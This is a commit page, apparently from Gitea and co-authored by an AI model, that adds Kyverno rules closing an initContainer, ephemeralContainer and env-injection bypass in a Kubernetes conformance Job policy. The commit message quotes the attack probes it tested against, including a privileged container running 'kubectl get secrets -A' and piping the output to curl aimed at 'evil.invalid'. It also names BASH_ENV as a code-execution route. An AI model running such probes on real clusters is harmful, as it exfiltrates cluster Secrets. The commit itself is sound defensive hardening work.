fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
This commit is contained in:
1 parent
b1c99e51bb
commit
9f018aa101
6 files changed
+704
-124
No files matched your search
@@ -142,3 +142,236 @@ spec:
|
||||
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
|
||||
operator: Equals
|
||||
value: false
|
||||
|
||||
# =========================================================================================
|
||||
# ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
|
||||
#
|
||||
# Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
|
||||
# `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
|
||||
# exact escalation this policy exists to stop — the privileged `conformance-runner` SA
|
||||
# executing an arbitrary command, because Kubernetes places no `use` check on
|
||||
# `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
|
||||
# compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
|
||||
#
|
||||
# a Job with serviceAccountName conformance-runner and an initContainer
|
||||
# `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
|
||||
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
|
||||
#
|
||||
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
|
||||
#
|
||||
# WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
|
||||
# needed — the suite has to be cloned at the commit under test. But while the clone logic
|
||||
# lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
|
||||
# the committed script from an attacker's: both are just `args` on a shell. So the clone
|
||||
# logic moved into the runner image at a fixed path
|
||||
# (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
|
||||
# rule pins `command` to that path with NO args. An admitted init container therefore
|
||||
# carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
|
||||
# itself validates against ^[0-9a-f]{40}$.
|
||||
#
|
||||
# `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
|
||||
# element matches", which would admit the committed clone step PLUS an arbitrary second
|
||||
# init container — the same class of hole rule 2's comment describes for volumes.
|
||||
# =========================================================================================
|
||||
- name: trigger-initcontainers-must-be-the-committed-clone-step
|
||||
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
||||
# As two separate `all` entries it is a schema error ("match resources not specified")
|
||||
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
||||
match:
|
||||
all:
|
||||
- resources:
|
||||
kinds:
|
||||
- Job
|
||||
namespaces:
|
||||
- conformance
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
validate:
|
||||
message: >-
|
||||
conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
|
||||
committed clone step: the digest-pinned conformance-runner image,
|
||||
command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
|
||||
escalation, not privileged. An initContainer running a shell with a caller-supplied
|
||||
script is arbitrary code execution as the privileged conformance-runner SA — the
|
||||
escalation the rest of this policy exists to prevent. See
|
||||
conformance/incluster/conformance-clone.
|
||||
foreach:
|
||||
- list: "request.object.spec.template.spec.initContainers"
|
||||
deny:
|
||||
conditions:
|
||||
any:
|
||||
# At most one. The committed run needs exactly one clone step; a second
|
||||
# init container has no legitimate purpose and is how you smuggle one in.
|
||||
- key: "{{ length(request.object.spec.template.spec.initContainers) }}"
|
||||
operator: GreaterThan
|
||||
value: 1
|
||||
# Digest-pinned under the conformance repository path — same rule as
|
||||
# containers[0], same honest limit (see IMAGE PINNING in the header).
|
||||
- key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
|
||||
operator: Equals
|
||||
value: false
|
||||
# The baked-in entrypoint, exactly — not a shell, not a second path.
|
||||
# `join` so this compares a STRING: Equals/NotEquals on arrays is not
|
||||
# dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
|
||||
- key: "{{ join(' ', not_null(element.command, `[]`)) }}"
|
||||
operator: NotEquals
|
||||
value: "/usr/local/bin/conformance-clone"
|
||||
# NO ARGS. This is the whole point: args on an init container are
|
||||
# caller-supplied code. Only env may be passed, and the entrypoint validates it.
|
||||
- key: "{{ length(not_null(element.args, `[]`)) }}"
|
||||
operator: GreaterThan
|
||||
value: 0
|
||||
# not_null(), NOT `||`: JMESPath treats `false` as falsy, so
|
||||
# `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
|
||||
# the COMPLIANT value false into true and deny every good Job.
|
||||
- key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
|
||||
operator: NotEquals
|
||||
value: true
|
||||
- key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
|
||||
operator: NotEquals
|
||||
value: false
|
||||
- key: "{{ not_null(element.securityContext.privileged, `false`) }}"
|
||||
operator: NotEquals
|
||||
value: false
|
||||
|
||||
# =========================================================================================
|
||||
# ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
|
||||
# container list on a PodSpec, and it was as unread as `initContainers` was.
|
||||
#
|
||||
# Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
|
||||
# (the field is settable only through the `pods/ephemeralcontainers` subresource), which
|
||||
# would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
|
||||
# "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
|
||||
# when the field is absent, and removes the need to be right about it. If the API server
|
||||
# does reject it, nothing changes; if it does not, this is the same hole again.
|
||||
# =========================================================================================
|
||||
- name: trigger-may-not-declare-ephemeral-containers
|
||||
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
||||
match:
|
||||
all:
|
||||
- resources:
|
||||
kinds:
|
||||
- Job
|
||||
namespaces:
|
||||
- conformance
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
validate:
|
||||
message: >-
|
||||
conformance-trigger Jobs may not declare ephemeralContainers. The committed
|
||||
conformance run has no use for one, and an ephemeral container is a third container
|
||||
list running as the privileged conformance-runner SA with an arbitrary command.
|
||||
deny:
|
||||
conditions:
|
||||
all:
|
||||
- key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
|
||||
operator: GreaterThan
|
||||
value: 0
|
||||
|
||||
# =========================================================================================
|
||||
# ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
|
||||
#
|
||||
# The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
|
||||
# to whatever adjacent field nobody enumerated. It was `initContainers`, then
|
||||
# `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
|
||||
# environment variable on either container.
|
||||
#
|
||||
# That is not hypothetical. Both programs the Job runs read their environment:
|
||||
# * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
|
||||
# CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
|
||||
# image (it dies on a mismatch rather than honouring a redirect — which is why the
|
||||
# specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
|
||||
# already closed there, in the image, not here);
|
||||
# * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
|
||||
# And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
|
||||
# `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
|
||||
# Defence in depth belongs here too: the entrypoint's own validation should not be the only
|
||||
# thing standing between a caller-chosen env var and the privileged SA.
|
||||
#
|
||||
# NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
|
||||
# Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
|
||||
# conformance-runner can already read Secrets in this namespace via its own RBAC, so
|
||||
# pinning the source Secret would buy nothing. Names are the vector that matters, because a
|
||||
# name is what a program keys its behaviour on.
|
||||
# =========================================================================================
|
||||
- name: trigger-env-names-must-be-the-committed-set
|
||||
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
||||
match:
|
||||
all:
|
||||
- resources:
|
||||
kinds:
|
||||
- Job
|
||||
namespaces:
|
||||
- conformance
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
validate:
|
||||
message: >-
|
||||
conformance-trigger Jobs may set only the committed environment variables. The runner
|
||||
container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
|
||||
init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
|
||||
GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
|
||||
pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
|
||||
conformance-runner SA. Widening this list is a reviewed one-line change.
|
||||
foreach:
|
||||
- list: "request.object.spec.template.spec.containers[0].env"
|
||||
deny:
|
||||
conditions:
|
||||
all:
|
||||
- key: "{{ element.name }}"
|
||||
operator: AnyNotIn
|
||||
value:
|
||||
- CONF_ARTIFACTS
|
||||
- CONF_EMIT_ARTIFACTS_TGZ
|
||||
- TMPDIR
|
||||
- HOME
|
||||
# Flattened across init containers: the rule above already caps them at one, but this
|
||||
# must not silently stop checking if that cap is ever relaxed.
|
||||
- list: "request.object.spec.template.spec.initContainers[].env[]"
|
||||
deny:
|
||||
conditions:
|
||||
all:
|
||||
- key: "{{ element.name }}"
|
||||
operator: AnyNotIn
|
||||
value:
|
||||
- CONFORMANCE_GIT_SHA
|
||||
- CONFORMANCE_REPO_URL
|
||||
- CONFORMANCE_SRC
|
||||
- GITEA_USERNAME
|
||||
- GITEA_TOKEN
|
||||
- TMPDIR
|
||||
- HOME
|
||||
|
||||
- name: trigger-may-not-use-envfrom
|
||||
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
||||
match:
|
||||
all:
|
||||
- resources:
|
||||
kinds:
|
||||
- Job
|
||||
namespaces:
|
||||
- conformance
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
validate:
|
||||
message: >-
|
||||
conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
|
||||
as environment variables, whose KEYS are not visible in the Job at all — which would
|
||||
make the env-name allowlist above unenforceable by inspection.
|
||||
deny:
|
||||
conditions:
|
||||
any:
|
||||
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
|
||||
operator: GreaterThan
|
||||
value: 0
|
||||
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
|
||||
operator: GreaterThan
|
||||
value: 0
|
||||
Reference in new issue
Block a user